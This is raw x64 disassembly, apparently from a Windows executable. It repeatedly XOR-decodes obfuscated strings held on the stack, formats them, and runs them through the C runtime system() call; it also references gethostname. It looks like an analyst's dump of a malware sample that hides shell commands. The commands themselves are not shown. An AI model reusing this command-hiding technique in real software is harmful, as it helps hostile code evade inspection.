psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400ba5c0
cmp r8d, 0x31
jge 0x1400ba713
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400ba6e0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400ba720
mov rax, r12
mov rdx, qword [0x1415fe050]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1452
mov rax, rsi
cmp qword [0x1415fe058], 0xf
cmova rax, qword [0x1415fe040]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140175c40]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175c50]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175c60]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x140175c70]
mov word [rbp - 0x60], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400ba90f
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400ba802
cmp r8d, 0x32
jge 0x1400ba953
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400ba920
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400ba960
mov rax, r12
mov rdx, qword [0x1415fe050]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1458
mov rax, rsi
cmp qword [0x1415fe058], 0xf
cmova rax, qword [0x1415fe040]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140175878]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175888]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175898]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1401758a8]
mov word [rbp - 0x60], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bab4f
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400baa42
cmp r8d, 0x32
jge 0x1400bab93
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400bab60
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400baba0
mov rax, r12
mov rdx, qword [0x1415fe050]
sub rax, rdx
cmp rax, rcx
jb 0x1400c145e
mov rax, rsi
cmp qword [0x1415fe058], 0xf
cmova rax, qword [0x1415fe040]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174288]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174298]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x1401742a8]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x1401742b8]
mov word [rbp - 0x60], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bad8f
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bac82
cmp r8d, 0x32
jge 0x1400badd3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop word [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400bada0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bade0
mov rax, r12
mov rdx, qword [0x1415fe050]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1464
cmp qword [0x1415fe058], 0xf
cmova rsi, qword [0x1415fe040]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rsi
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140175f18]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140175f28]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175f38]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x140175f48]
mov byte [rbp - 0x60], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bafcd
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400baec0
cmp r8d, 0x31
jge 0x1400bb013
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x31
jl 0x1400bafe0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bb020
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c146a
lea r13, [0x1415fe020]
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140174558]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140174568]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140174578]
movups xmmword [rbp - 0x70], xmm0
movzx eax, word [0x140174588]
mov word [rbp - 0x60], ax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bb21d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop dword [rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bb110
cmp r8d, 0x32
jge 0x1400bb263
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x32
jl 0x1400bb230
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bb270
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1470
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140173d00]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140173d10]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140173d20]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140173d30]
mov dword [rbp - 0x60], eax
mov r8d, ebx
cmp r15d, 2
jl 0x1400bb45d
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bb350
cmp r8d, 0x34
jge 0x1400bb4a3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x34
jl 0x1400bb470
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bb4b0
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c1476
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x140176318]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x140176328]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140176338]
movups xmmword [rbp - 0x70], xmm0
mov eax, dword [0x140176348]
mov dword [rbp - 0x60], eax
movzx eax, byte [reloc.WS2_32.dll_gethostname]
mov byte [rbp - 0x5c], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bb6ad
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
nop word [rax + rax]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bb5a0
cmp r8d, 0x35
jge 0x1400bb6f3
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
nop dword [rax + rax]
mov eax, 0xa0a0a0a1
imul r8d
add edx, r8d
sar edx, 5
mov eax, edx
shr eax, 0x1f
add edx, eax
movsx eax, dl
imul ecx, eax, 0x33
movzx eax, r8b
sub al, cl
add al, 0x38
xor byte [r9], al
inc r8d
lea r9, [r9 + 1]
cmp r8d, 0x35
jl 0x1400bb6c0
lea rax, [rsp + 0x70]
mov rcx, rdi
nop dword [rax + rax]
inc rcx
cmp byte [rax + rcx], 0
jne 0x1400bb700
mov rax, r12
mov rdx, qword [0x1415fe030]
sub rax, rdx
cmp rax, rcx
jb 0x1400c147c
mov rax, r13
cmp qword [0x1415fe038], 0xf
cmova rax, qword [0x1415fe020]
mov qword [rsp + 0x30], rdx
mov qword [rsp + 0x28], rax
mov qword [rsp + 0x20], rcx
lea r9, [rsp + 0x70]
lea rcx, [rbp + 0x180]
call fcn.140060c80
lea rcx, [rbp + 0x180]
cmp qword [rbp + 0x198], 0xf
cmova rcx, qword [rbp + 0x180]
call qword [sym.imp.api_ms_win_crt_runtime_l1_1_0.dll_system]
lea rcx, [rbp + 0x180]
call fcn.14003d4d0
movups xmm0, xmmword [0x1401756e0]
movups xmmword [rsp + 0x70], xmm0
movups xmm1, xmmword [0x1401756f0]
movups xmmword [rbp - 0x80], xmm1
movups xmm0, xmmword [0x140175700]
movups xmmword [rbp - 0x70], xmm0
movzx eax, byte [0x140175710]
mov byte [rbp - 0x60], al
mov r8d, ebx
cmp r15d, 2
jl 0x1400bb8ee
movdqa xmm5, xmmword [0x140178040]
movdqa xmm4, xmmword [0x1401783a0]
movdqa xmm6, xmmword [0x140178090]
movdqa xmm0, xmmword [0x140178210]
movdqa xmmword [rbp - 0x10], xmm0
lea rcx, [rsp + 0x74]
mov edx, dword [rbp - 0x10]
movd xmm2, r8d
pshufd xmm2, xmm2, 0
paddd xmm2, xmm5
movdqa xmm1, xmm2
punpckldq xmm1, xmm2
pmuldq xmm1, xmm4
movdqa xmm0, xmm2
punpckhdq xmm0, xmm2
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm2
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm2, xmm0
pshuflw xmm0, xmm2, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx - 4]
xorps xmm2, xmm0
movd dword [rcx - 4], xmm2
lea eax, [r8 + 4]
movd xmm3, eax
pshufd xmm3, xmm3, 0
paddd xmm3, xmm5
movdqa xmm1, xmm3
punpckldq xmm1, xmm3
pmuldq xmm1, xmm4
movdqa xmm0, xmm3
punpckhdq xmm0, xmm3
pmuldq xmm0, xmm4
shufps xmm1, xmm0, 0xdd
paddd xmm1, xmm3
psrad xmm1, 5
movdqa xmm0, xmm1
psrld xmm0, 0x1f
paddd xmm0, xmm1
pmulld xmm0, xmm6
psubd xmm3, xmm0
pshuflw xmm0, xmm3, 0xd8
pshufhw xmm1, xmm0, 0xd8
pshufd xmm2, xmm1, 0xd8
andps xmm2, xmmword [0x1401781b0]
packuswb xmm2, xmm2
movd xmm0, edx
paddb xmm2, xmm0
movd xmm0, dword [rcx]
xorps xmm2, xmm0
movd dword [rcx], xmm2
add r8d, 8
lea rcx, [rcx + 8]
cmp r8d, 0x30
jl 0x1400bb7e1
cmp r8d, 0x31
jge 0x1400bb933
movsxd rax, r8d
lea r9, [rsp + 0x70]
add r9, rax
